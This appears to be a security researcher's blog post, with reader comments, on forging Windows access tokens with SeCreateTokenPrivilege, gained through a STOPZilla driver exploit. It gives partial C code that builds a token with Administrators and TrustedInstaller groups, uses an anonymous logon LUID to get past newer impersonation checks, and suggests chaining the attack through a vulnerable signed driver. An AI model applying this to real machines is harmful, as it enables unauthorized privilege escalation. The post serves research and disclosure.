Some time ago I was playing with the STOPZilla exploit which is very interesting and educational because it shows how you can abuse from an arbitrary write from the userland into the kernel. In this case the exploit will permit us, by altering the EPROCESS structure of the current process,  to activate an additional privilege, usually  the SeCreateTokenPrivilege.

This one is considered a “God” privilege because it lets you create a Windows access token from scratch for every user with all the group memberships and privileges you need, by using the following NTDLL API Call:

 NTSATUS ZwCreateToken(
  OUT PHANDLE             TokenHandle,
  IN ACCESS_MASK          DesiredAccess,
  IN POBJECT_ATTRIBUTES   ObjectAttributes,
  IN TOKEN_TYPE           TokenType,
  IN PLUID                AuthenticationId,
  IN PLARGE_INTEGER       ExpirationTime,
  IN PTOKEN_USER          TokenUser,
  IN PTOKEN_GROUPS        TokenGroups,
  IN PTOKEN_PRIVILEGES    TokenPrivileges,
  IN PTOKEN_OWNER         TokenOwner,
  IN PTOKEN_PRIMARY_GROUP TokenPrimaryGroup,
  IN PTOKEN_DEFAULT_DACL  TokenDefaultDacl,
  IN PTOKEN_SOURCE        TokenSource 
);

 

Normally this privilege is not available, but for testing purpose,  you can add this privilege via the group policy editor console (gpedit.msc)

gpedit.png

 

Back to us, with the SeCreateToken privilege it’s very easy to create a powerful access token! But there is still a problem, in order to impersonate this token  in a thread or new process, we normally need also the SeImpersonate or SeAssignPrimayToken privilege, isn’t it?

Well not exactly, you can impersonate a thread with the new token, even without impersonate privileges, as long as some conditions are met, mainly:

SeImpersonate privilege is not needed for impersonating a thread as long as the token is for the same user and the integrity level is less or equal to the current process integrity level”

So, if you create the token by putting your user as the “token user”  in the ZwCreateToken API Call and respecting the constraints of the Integrity Levels you should be fine.

Let’s see it in practice (I will show you only the relevant parts):

HANDLE CreateUserToken(HANDLE basetoken, wchar_t *username)
{
   TOKEN_USER userToken;
   PSID mysid;
   TOKEN_OWNER owner;   
   userToken.Attributes =0;
   HRESULT hr = GetSid(username, &mysid);
   userToken.User.Sid= mysid;
   owner.Owner = mysid;
   ...

 

Now we have set the “token user” and “token owner” to our username, but as you can imagine, the resulting token would not be useful. So let’s add some extras, for example the membership to “local admin” group and “Trusted Installer” group.

...
PTOKEN_GROUPS groups;
PSID group1,group2;
PSID_AND_ATTRIBUTES pSid;
// TrustedInstaller SID
ConvertStringSidToSidA("S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", &group2);
// Local Admin SID
ConvertStringSidToSidA("S-1-5-32-544", &group1);
groups = (PTOKEN_GROUPS)GetInfoFromToken(basetoken, TokenGroups);
pSid = groups->Groups;
for (int i = 0; i < groups->GroupCount; ++i, pSid++)
    {   
        PISID piSid = (PISID)pSid->Sid;
        if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == 
                    DOMAIN_ALIAS_RID_USERS) {
            pSid->Sid = group1;
            pSid->Attributes = SE_GROUP_ENABLED;
        }
        else if (piSid->SubAuthority[piSid->SubAuthorityCount - 1] == 
                        SECURITY_WORLD_RID) {
                pSid->Sid = group2;
                pSid->Attributes = SE_GROUP_ENABLED;
            }
        else {
            pSid->Attributes &= ~SE_GROUP_USE_FOR_DENY_ONLY;
            pSid->Attributes &= ~SE_GROUP_ENABLED;
        }
    }
...

Here we replaced the groups, obtained from the “basetoken” (the token of our process), with the more powerful ones:

  • Users -> Administrators
  • Everyone -> Trusted Installer

We could also change the Integrity Level, but given that in our example they will match, I just commented it out.

Last but not least, why not adding to our token  some “God” Privilege?

LUID luid;
PTOKEN_PRIVILEGES privileges;
privileges = (PTOKEN_PRIVILEGES)LocalAlloc(LMEM_FIXED, 
sizeof(TOKEN_PRIVILEGES) + (sizeof(LUID_AND_ATTRIBUTES) * 4));
privileges->PrivilegeCount = 4;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
privileges->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[0].Luid = luid;
LookupPrivilegeValue(NULL, SE_TCB_NAME, &luid);
privileges->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[1].Luid = luid;
LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luid);
privileges->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[2].Luid = luid;
LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid);
privileges->Privileges[3].Attributes = SE_PRIVILEGE_ENABLED;
privileges->Privileges[3].Luid = luid;

We are ready to create our token;

ntStatus = ZwCreateToken(&elevated_token,
        TOKEN_ALL_ACCESS,
        &oa,
        TokenImpersonation,
        pluidAuth,
        pli,
        &userToken,
        groups,
        privileges,
        owner,
        primary_group,
        default_dacl,
        &sourceToken 
    );

Once we obtain our token, we will impersonate the current thread with this one, and perform some high privilege operations, for example adding our user to the local admin group using the “NetLocalGroupAddMembers()” API or writing a file in a protected location.

With the modified STOPZilla exploit POC, if everything works fine we will get the desired result:

Capture

It works!!!

The GetUserName() API Call returns in this case SYSTEM, which is not the real user but the one who is associated to the AuthentictaionId which was set to SYSTEM_LUID (0x3e7), the Logon Session Id of the Local System account.

This test was performed on a Windows 2016 server, unfortunately on a Windows 2019 server or Windows 10 >= 1809 it doesn’t work…

Update: After applying latest patches / security updates, KB4507459 for Windows 10 / 2016 – 1607 the behaviour is the same as in Windows 2019 /10 1809

Capture

Error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid

It seems that in this case our token has been demoted to an “Identification Token” which is really useless for our goal…

Why does this happen? In the latest versions, MS added some supplementary checks when you try to impersonate a new token  and probably this is the reason why it doesn’t work. Our resulting token is considered “privileged” because it has “God” privileges and  powerful group memberships, so the new additional  controls will downgrade the token due to lack of specific impersonation privileges granted to the calling process.

But never give up! Remember the AuthenticationID ? It was set to 0x3e7, the logon session id of SYSTEM account…

Let’s try to change it and assign it the ANONYMOUS_LOGON_LUID (0x3e6).  Maybe this one is considered harmless  and all the subsequent checks are skipped?

Capture

Oh yes!!!

Adding user to admin group still produces an access denied (maybe some check on the logon id?) but we can write a file in a protected directory! We can even overwrite system files (we are Trusted Installer) and write/overwrite registry keys… so it’s really easy to escalate privileges, don’t you agree 😉 ?

Final thoughts:

We can also leverage this exploit by combining it with the SeLoadDriverPrivilege.

If a user has this privilege (normally members of  the Printer Operator group), he could load the vulnerable signed (and trusted by all AV’s) driver szkg64.sys without installing “STOPZilla” and launch the exploit. Chaining together these 2 privileges will lead to a complete privilege escalation!

Maybe MS should modify the sequence of these checks?  The newly introduced check is  quite late, so if it matches the anonymous AuthenticationID it never hits it. Same behavior has been observed with the Token OriginId and  AuthenticationID, but more on this in a next post 🙂

The demo code can be found here

 

Advertisement

5 thoughts on “Creating Windows Access Tokens

  1. Great article as always, thank you very much !
    However I’ve never seen a simple user with SeLoadDriverPrivilege, by default it’s restricted to Administrators.

    Like

      1. Thanks so much for your PDF !
        By the ways, I thought that arbitrary writes from kernel space to user space were blocked by Kernel SMEP (Supervisor Mode Access Prevention) ?

        Like

      2. In this case, we are using an arbitrary write not for code execution but for overwriting the _SEP_TOKEN_PRIVILEGE structure, and this would not interfere with SMEP

        Like

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s